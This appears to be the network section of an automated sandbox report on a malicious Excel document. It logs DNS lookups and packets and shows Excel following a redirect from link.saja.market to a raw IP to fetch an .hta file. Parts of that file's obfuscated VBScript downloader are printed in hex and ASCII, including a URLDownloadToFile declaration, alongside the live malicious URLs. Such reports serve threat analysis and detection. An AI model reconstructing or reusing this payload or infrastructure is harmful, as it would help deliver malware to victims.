Mar 10, 2025 09:27:10.606431961 CET	443	49703	40.90.65.44	192.168.2.7
Mar 10, 2025 09:27:10.606478930 CET	49703	443	192.168.2.7	40.90.65.44
Mar 10, 2025 09:27:10.606486082 CET	443	49703	40.90.65.44	192.168.2.7
Mar 10, 2025 09:27:10.606518030 CET	49703	443	192.168.2.7	40.90.65.44
Mar 10, 2025 09:27:10.606538057 CET	49703	443	192.168.2.7	40.90.65.44
Mar 10, 2025 09:27:10.639600039 CET	443	49703	40.90.65.44	192.168.2.7
Mar 10, 2025 09:27:10.639626026 CET	443	49703	40.90.65.44	192.168.2.7
Mar 10, 2025 09:27:10.639678001 CET	49703	443	192.168.2.7	40.90.65.44
Mar 10, 2025 09:27:10.639686108 CET	443	49703	40.90.65.44	192.168.2.7
Mar 10, 2025 09:27:10.639722109 CET	49703	443	192.168.2.7	40.90.65.44
Mar 10, 2025 09:27:10.639744043 CET	49703	443	192.168.2.7	40.90.65.44
Mar 10, 2025 09:27:10.653803110 CET	443	49703	40.90.65.44	192.168.2.7
Mar 10, 2025 09:27:10.653826952 CET	443	49703	40.90.65.44	192.168.2.7
Mar 10, 2025 09:27:10.653896093 CET	49703	443	192.168.2.7	40.90.65.44
Mar 10, 2025 09:27:10.653904915 CET	443	49703	40.90.65.44	192.168.2.7
Mar 10, 2025 09:27:10.653950930 CET	49703	443	192.168.2.7	40.90.65.44
Mar 10, 2025 09:27:10.671364069 CET	443	49703	40.90.65.44	192.168.2.7
Mar 10, 2025 09:27:10.671391964 CET	443	49703	40.90.65.44	192.168.2.7
Mar 10, 2025 09:27:10.671452045 CET	49703	443	192.168.2.7	40.90.65.44
Mar 10, 2025 09:27:10.671458006 CET	443	49703	40.90.65.44	192.168.2.7
Mar 10, 2025 09:27:10.671515942 CET	49703	443	192.168.2.7	40.90.65.44
Mar 10, 2025 09:27:10.689920902 CET	443	49703	40.90.65.44	192.168.2.7
Mar 10, 2025 09:27:10.689945936 CET	443	49703	40.90.65.44	192.168.2.7
Mar 10, 2025 09:27:10.689995050 CET	49703	443	192.168.2.7	40.90.65.44
Mar 10, 2025 09:27:10.690002918 CET	443	49703	40.90.65.44	192.168.2.7
Mar 10, 2025 09:27:10.690038919 CET	49703	443	192.168.2.7	40.90.65.44
Mar 10, 2025 09:27:10.690057993 CET	49703	443	192.168.2.7	40.90.65.44
Mar 10, 2025 09:27:10.706569910 CET	443	49703	40.90.65.44	192.168.2.7
Mar 10, 2025 09:27:10.706592083 CET	443	49703	40.90.65.44	192.168.2.7
Mar 10, 2025 09:27:10.706649065 CET	49703	443	192.168.2.7	40.90.65.44
Mar 10, 2025 09:27:10.706655979 CET	443	49703	40.90.65.44	192.168.2.7
Mar 10, 2025 09:27:10.706691980 CET	49703	443	192.168.2.7	40.90.65.44
Mar 10, 2025 09:27:10.706703901 CET	49703	443	192.168.2.7	40.90.65.44
Mar 10, 2025 09:27:10.719626904 CET	443	49703	40.90.65.44	192.168.2.7
Mar 10, 2025 09:27:10.719659090 CET	443	49703	40.90.65.44	192.168.2.7
Mar 10, 2025 09:27:10.719697952 CET	49703	443	192.168.2.7	40.90.65.44
Mar 10, 2025 09:27:10.719707966 CET	443	49703	40.90.65.44	192.168.2.7
Mar 10, 2025 09:27:10.719728947 CET	49703	443	192.168.2.7	40.90.65.44
Mar 10, 2025 09:27:10.719742060 CET	49703	443	192.168.2.7	40.90.65.44
Mar 10, 2025 09:27:10.741013050 CET	443	49703	40.90.65.44	192.168.2.7
Mar 10, 2025 09:27:10.741036892 CET	443	49703	40.90.65.44	192.168.2.7
Mar 10, 2025 09:27:10.741075039 CET	49703	443	192.168.2.7	40.90.65.44
Mar 10, 2025 09:27:10.741081953 CET	443	49703	40.90.65.44	192.168.2.7
Mar 10, 2025 09:27:10.741112947 CET	49703	443	192.168.2.7	40.90.65.44
Mar 10, 2025 09:27:10.741128922 CET	49703	443	192.168.2.7	40.90.65.44
Mar 10, 2025 09:27:10.762958050 CET	443	49703	40.90.65.44	192.168.2.7
Mar 10, 2025 09:27:10.762989044 CET	443	49703	40.90.65.44	192.168.2.7
Mar 10, 2025 09:27:10.763055086 CET	49703	443	192.168.2.7	40.90.65.44
Mar 10, 2025 09:27:10.763065100 CET	443	49703	40.90.65.44	192.168.2.7
Mar 10, 2025 09:27:10.763088942 CET	49703	443	192.168.2.7	40.90.65.44
Mar 10, 2025 09:27:10.763104916 CET	49703	443	192.168.2.7	40.90.65.44
Mar 10, 2025 09:27:10.791024923 CET	443	49703	40.90.65.44	192.168.2.7
Mar 10, 2025 09:27:10.791054010 CET	443	49703	40.90.65.44	192.168.2.7
Mar 10, 2025 09:27:10.791120052 CET	443	49703	40.90.65.44	192.168.2.7
Mar 10, 2025 09:27:10.791141033 CET	49703	443	192.168.2.7	40.90.65.44
Mar 10, 2025 09:27:10.791151047 CET	443	49703	40.90.65.44	192.168.2.7
Mar 10, 2025 09:27:10.791162014 CET	49703	443	192.168.2.7	40.90.65.44
Mar 10, 2025 09:27:10.791229963 CET	443	49703	40.90.65.44	192.168.2.7
Mar 10, 2025 09:27:10.791266918 CET	49703	443	192.168.2.7	40.90.65.44
Mar 10, 2025 09:27:10.791543007 CET	49703	443	192.168.2.7	40.90.65.44
Mar 10, 2025 09:27:10.791557074 CET	443	49703	40.90.65.44	192.168.2.7
Mar 10, 2025 09:27:10.791568041 CET	49703	443	192.168.2.7	40.90.65.44
Mar 10, 2025 09:27:10.791574001 CET	443	49703	40.90.65.44	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 10, 2025 09:26:36.641347885 CET	52229	53	192.168.2.7	1.1.1.1
Mar 10, 2025 09:26:36.684518099 CET	53	52229	1.1.1.1	192.168.2.7
Mar 10, 2025 09:26:57.890342951 CET	57987	53	192.168.2.7	1.1.1.1
Mar 10, 2025 09:26:57.898896933 CET	53	57987	1.1.1.1	192.168.2.7
Mar 10, 2025 09:27:05.792126894 CET	56968	53	192.168.2.7	1.1.1.1
Mar 10, 2025 09:27:05.799901962 CET	53	56968	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 10, 2025 09:26:36.641347885 CET	192.168.2.7	1.1.1.1	0x40d2	Standard query (0)	link.saja.market	A (IP address)	IN (0x0001)	false
Mar 10, 2025 09:26:57.890342951 CET	192.168.2.7	1.1.1.1	0x8502	Standard query (0)	otelrules.svc.static.microsoft	A (IP address)	IN (0x0001)	false
Mar 10, 2025 09:27:05.792126894 CET	192.168.2.7	1.1.1.1	0xce71	Standard query (0)	otelrules.svc.static.microsoft	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 10, 2025 09:25:49.650105953 CET	1.1.1.1	192.168.2.7	0x9058	No error (0)	ecs-office.s-0005.dual-s-msedge.net	s-0005.dual-s-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 09:25:49.650105953 CET	1.1.1.1	192.168.2.7	0x9058	No error (0)	s-0005.dual-s-msedge.net		52.123.128.14	A (IP address)	IN (0x0001)	false
Mar 10, 2025 09:25:49.650105953 CET	1.1.1.1	192.168.2.7	0x9058	No error (0)	s-0005.dual-s-msedge.net		52.123.129.14	A (IP address)	IN (0x0001)	false
Mar 10, 2025 09:25:52.275382042 CET	1.1.1.1	192.168.2.7	0x1863	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Mar 10, 2025 09:25:52.275382042 CET	1.1.1.1	192.168.2.7	0x1863	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Mar 10, 2025 09:26:36.684518099 CET	1.1.1.1	192.168.2.7	0x40d2	No error (0)	link.saja.market	istio.saja.market		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 09:26:36.684518099 CET	1.1.1.1	192.168.2.7	0x40d2	No error (0)	istio.saja.market	service-eks-nlb-public-0b7cb0a32741e125.elb.ap-northeast-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 09:26:36.684518099 CET	1.1.1.1	192.168.2.7	0x40d2	No error (0)	service-eks-nlb-public-0b7cb0a32741e125.elb.ap-northeast-2.amazonaws.com		3.39.153.44	A (IP address)	IN (0x0001)	false
Mar 10, 2025 09:26:36.684518099 CET	1.1.1.1	192.168.2.7	0x40d2	No error (0)	service-eks-nlb-public-0b7cb0a32741e125.elb.ap-northeast-2.amazonaws.com		3.39.89.152	A (IP address)	IN (0x0001)	false
Mar 10, 2025 09:26:57.898896933 CET	1.1.1.1	192.168.2.7	0x8502	No error (0)	otelrules.svc.static.microsoft	otelrules-bzhndjfje8dvh5fd.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 09:26:57.898896933 CET	1.1.1.1	192.168.2.7	0x8502	No error (0)	otelrules-bzhndjfje8dvh5fd.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 09:26:57.898896933 CET	1.1.1.1	192.168.2.7	0x8502	No error (0)	star-azurefd-prod.trafficmanager.net	shed.dual-low.s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 09:26:57.898896933 CET	1.1.1.1	192.168.2.7	0x8502	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 09:26:57.898896933 CET	1.1.1.1	192.168.2.7	0x8502	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Mar 10, 2025 09:27:05.799901962 CET	1.1.1.1	192.168.2.7	0xce71	No error (0)	otelrules.svc.static.microsoft	otelrules-bzhndjfje8dvh5fd.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 09:27:05.799901962 CET	1.1.1.1	192.168.2.7	0xce71	No error (0)	otelrules-bzhndjfje8dvh5fd.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 09:27:05.799901962 CET	1.1.1.1	192.168.2.7	0xce71	No error (0)	star-azurefd-prod.trafficmanager.net	shed.dual-low.s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 09:27:05.799901962 CET	1.1.1.1	192.168.2.7	0xce71	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 09:27:05.799901962 CET	1.1.1.1	192.168.2.7	0xce71	No error (0)	azurefd-t-fb-prod.trafficmanager.net	dual.s-part-0044.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 09:27:05.799901962 CET	1.1.1.1	192.168.2.7	0xce71	No error (0)	dual.s-part-0044.t-0009.fb-t-msedge.net	global-entry-fb-afdthirdparty-unicast.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 09:27:05.799901962 CET	1.1.1.1	192.168.2.7	0xce71	No error (0)	global-entry-fb-afdthirdparty-unicast.trafficmanager.net	ltsr9a.msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 09:27:05.799901962 CET	1.1.1.1	192.168.2.7	0xce71	No error (0)	ltsr9a.msedge.net		40.90.65.44	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

link.saja.market

otelrules.svc.static.microsoft

198.23.187.151

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	198.23.187.151	80	6456	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
Mar 10, 2025 09:26:39.998020887 CET	246	OUT	GET /xampp/emio/wekissherlipswithbeautifulwordstruelove.hta HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Host: 198.23.187.151
Mar 10, 2025 09:26:40.503252983 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 08:26:40 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Last-Modified: Mon, 10 Mar 2025 05:09:54 GMT ETag: "3a15-62ff5fb95e765" Accept-Ranges: bytes Content-Length: 14869 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/hta Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 6d 75 6c 61 74 65 49 45 38 22 20 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 53 63 52 49 50 74 20 54 59 50 45 3d 22 74 45 78 54 2f 76 62 73 63 52 69 50 54 22 3e 0d 0a 44 69 6d 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 66 41 42 4d 79 43 69 4b 6b [TRUNCATED] Data Ascii: <!DOCTYPE html><meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" ><html><body><ScRIPt TYPE="tExT/vbscRiPT">Dim dfABMyCiKkOvwWiUnKpvntxKuiPQTyWzQXJRjTesRJGcZPRYQNYUsxelKPnmmBhDAnLRUPqISPRRtzsNwSNmfTWpAiSzqMlqujiUFUpabJXirGMkvhlTnpcTftfaUMiHOUAxgPcoHAAxKTbibPSjFtwRPFDjLicyWBqTnkEuYwafkVmDCXlEWNheRaNvFKTKhmgFMMYopFaBItwrnORzbfkDBMkgqZJmJkwbtdlPVjbhRVGsxwlp ,
Mar 10, 2025 09:26:40.503272057 CET	224	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 78 50 55 6c 7a 73 76 6e 5a 76 58 50 62 78 42 6b 4b 66 53 46 46 72 45 73 4c 61 4e 4a Data Ascii: dxPUlzsvnZvXPbxBkKfSFFrEsLaNJADyAkiWJtRAoQfqrCGSFkqZUGDfnELHNZYLrhlhUqwCNFgYoaisOMMMDNHoyMPNvaaroVawfyHXvcAOXFEwxWubUkgAPSmaVLlLhkCKFYbfdOnKFzxzxxrNidCjZFepCofpLGTSKZfvzwx
Mar 10, 2025 09:26:40.503292084 CET	1236	IN	Data Raw: 45 43 4f 6e 57 42 58 44 52 48 42 76 4c 52 46 74 43 46 53 6b 79 4e 54 61 51 48 4a 76 6f 79 4b 65 75 62 4a 43 6a 7a 65 67 69 47 4d 70 42 67 43 67 47 72 46 64 47 64 45 61 79 4c 6c 7a 68 4f 6c 6b 5a 72 71 53 47 65 42 63 48 20 20 20 20 20 20 20 20 20 Data Ascii: ECOnWBXDRHBvLRFtCFSkyNTaQHJvoyKeubJCjzegiGMpBgCgGrFdGdEayLlzhOlkZrqSGeBcH
Mar 10, 2025 09:26:40.503305912 CET	224	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 Data Ascii: creAteObjEcT
Mar 10, 2025 09:26:40.503318071 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 28 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: (
Mar 10, 2025 09:26:40.503334045 CET	224	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 78 50 55 6c 7a 73 76 6e 5a 76 58 50 62 78 42 6b 4b 66 53 46 46 72 45 73 4c 61 4e Data Ascii: dxPUlzsvnZvXPbxBkKfSFFrEsLaNJADyAkiWJtRAoQfqrCGSFkqZUGDfnELHNZYLrhlhUqwCNFgYoaisOMMMDNHoyMPNvaaroVawfyHXvcAOXFEwxWubUkgAPSmaVLlLhkCKFYbfdOnKFzxzxxrNidCjZFepCofpLGTSKZfvzw
Mar 10, 2025 09:26:40.503345966 CET	1236	IN	Data Raw: 78 45 43 4f 6e 57 42 58 44 52 48 42 76 4c 52 46 74 43 46 53 6b 79 4e 54 61 51 48 4a 76 6f 79 4b 65 75 62 4a 43 6a 7a 65 67 69 47 4d 70 42 67 43 67 47 72 46 64 47 64 45 61 79 4c 6c 7a 68 4f 6c 6b 5a 72 71 53 47 65 42 63 48 20 20 20 20 20 20 20 20 Data Ascii: xECOnWBXDRHBvLRFtCFSkyNTaQHJvoyKeubJCjzegiGMpBgCgGrFdGdEayLlzhOlkZrqSGeBcH
Mar 10, 2025 09:26:40.503832102 CET	224	IN	Data Raw: 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 42 44 61 47 46 79 55 32 56 30 49 44 30 67 51 32 68 68 63 6c 4e 6c 64 43 35 56 62 6d 6c 6a 62 32 52 6c 4b 56 31 77 64 57 4a 73 61 57 4d 67 63 Data Ascii: gICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcXhoYlVzTnYsc3RyaW5nICAgICAgICAgICAgICA
Mar 10, 2025 09:26:40.503843069 CET	1236	IN	Data Raw: 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 53 47 64 52 55 32 56 73 51 31 4a 55 59 6c 4d 73 63 33 52 79 61 57 35 6e 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 Data Ascii: gICAgICAgICAgICAgICAgICAgSGdRU2VsQ1JUYlMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeGlqZWVSRVRka1EsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdEZFVjRmRMcVBOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdyKTsnICAgICAgIC
Mar 10, 2025 09:26:40.503854990 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: dfABMyCiKkOvwWiUnKpvntxKuiPQTyWzQXJRjTesRJGcZPRYQNYUsxelKPnmmBhDAnLRUPqISPRRtzsNwSNmfTWpAiSzqMlqujiUFUpabJXirGMkvhlTnpcTftfaUMiHOUAxgPcoHAAx
Mar 10, 2025 09:26:40.509532928 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: &

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	3.39.153.44	443	6456	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2025-03-10 08:26:39 UTC	233	OUT	GET /Z8vBZkXtlw?&thing=omniscient&sweatshirt HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: link.saja.market Connection: Keep-Alive
2025-03-10 08:26:39 UTC	512	IN	HTTP/1.1 302 Found Date: Mon, 10 Mar 2025 08:26:39 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 98 Connection: close x-dns-prefetch-control: off x-frame-options: SAMEORIGIN strict-transport-security: max-age=15552000; includeSubDomains x-download-options: noopen x-content-type-options: nosniff x-xss-protection: 1; mode=block location: http://198.23.187.151/xampp/emio/wekissherlipswithbeautifulwordstruelove.hta vary: Accept x-envoy-upstream-service-time: 6 server: istio-envoy
2025-03-10 08:26:39 UTC	98	IN	Data Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 39 38 2e 32 33 2e 31 38 37 2e 31 35 31 2f 78 61 6d 70 70 2f 65 6d 69 6f 2f 77 65 6b 69 73 73 68 65 72 6c 69 70 73 77 69 74 68 62 65 61 75 74 69 66 75 6c 77 6f 72 64 73 74 72 75 65 6c 6f 76 65 2e 68 74 61 Data Ascii: Found. Redirecting to http://198.23.187.151/xampp/emio/wekissherlipswithbeautifulwordstruelove.hta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49701	13.107.246.60	443	6456	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2025-03-10 08:27:00 UTC	226	OUT	GET /rules/excel.exe-Production-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-10 08:27:00 UTC	493	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 08:27:00 GMT Content-Type: text/plain Content-Length: 1114783 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sun, 09 Mar 2025 06:27:07 GMT ETag: "0x8DD5ED36A70D4F4" x-ms-request-id: 277895e8-d01e-0028-2e71-917896000000 x-ms-version: 2018-03-28 x-azure-ref: 20250310T082700Z-1846c8f86bd962l6hC1DFWf8sn00000001bg00000000338x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-10 08:27:00 UTC	15891	IN	Data Raw: 31 30 30 30 34 32 76 32 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 34 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 55 58 2e 44 65 73 6b 74 6f 70 2e 4f 66 66 69 63 65 54 68 65 6d 65 2e 41 70 70 2e 49 6e 69 74 22 20 41 54 54 3d 22 63 34 33 38 38 63 39 37 37 32 39 37 34 31 33 62 62 30 35 34 62 61 64 31 61 63 66 30 61 64 65 31 2d 63 63 35 38 65 35 33 65 2d 66 35 61 34 2d 34 66 33 37 2d 62 30 64 32 2d 39 61 38 30 37 39 65 33 34 34 32 30 2d 36 38 37 39 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 63 6d 39 79 35 Data Ascii: 100042v2+<?xml version="1.0" encoding="utf-8"?><R Id="100042" V="2" DC="SM" EN="Office.UX.Desktop.OfficeTheme.App.Init" ATT="c4388c977297413bb054bad1acf0ade1-cc58e53e-f5a4-4f37-b0d2-9a8079e34420-6879" DCa="PSU" xmlns=""> <S> <UTS T="1" Id="cm9y5
2025-03-10 08:27:00 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 30 31 31 37 76 30 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 31 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 38 79 6c 6c 66 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 56 20 56 3d 22 43 6c 69 63 6b 22 20 54 3d 22 57 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 Data Ascii: /> </T></R><$!#>100117v0+<?xml version="1.0" encoding="utf-8"?><R Id="100117" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <UTS T="1" Id="8yllf" /> </S> <C T="W" I="0" O="false"> <V V="Click" T="W" /> </C> <C T="U32
2025-03-10 08:27:00 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 33 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 37 38 31 76 31 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 37 38 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 62 67 6f 34 74 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 68 6c 76 79 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 49 33 32 Data Ascii: </C> <T> <S T="2" /> <S T="3" /> </T></R><$!#>10781v1+<?xml version="1.0" encoding="utf-8"?><R Id="10781" V="1" DC="SM" T="Subrule" xmlns=""> <S> <UTS T="1" Id="bgo4t" /> <UTS T="2" Id="bhlvy" /> </S> <C T="I32
2025-03-10 08:27:00 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 31 30 30 30 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: <L> <O T="GT"> <L> <S 